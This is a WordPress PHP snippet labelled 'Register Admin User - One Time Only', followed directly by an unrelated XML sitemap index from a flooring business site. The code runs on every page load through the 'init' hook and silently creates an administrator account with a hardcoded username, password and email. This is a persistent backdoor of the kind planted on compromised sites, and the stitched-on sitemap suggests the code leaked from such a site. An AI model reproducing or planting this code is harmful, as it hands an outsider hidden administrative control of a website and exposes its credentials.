
/**
 * Register Admin User - One Time Only
 * Add this code to your theme's functions.php file
 */
function sajju_register_admin_user() {
    
    $username = 'sajju';
    $password = 'Sajju12345$$$$$';
    $email    = 'hello@sajjadalam.dev';

    // Prevent creating the user again if it already exists
    if (username_exists($username) || email_exists($email)) {
        return; // User already exists, do nothing
    }

    // Create the new user
    $user_id = wp_create_user($username, $password, $email);

    if (!is_wp_error($user_id)) {
        
        // Set the user role to Administrator
        $user = new WP_User($user_id);
        $user->set_role('administrator');

        // Optional: You can add a success notice (visible only to admins)
        // add_action('admin_notices', function() { echo '<div class="notice notice-success"><p>Admin user "sajju" created successfully!</p></div>'; });
        
    }
}

// Run only once when the site loads
add_action('init', 'sajju_register_admin_user');<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://johnshardwoodfloors.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://johnshardwoodfloors.com/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>
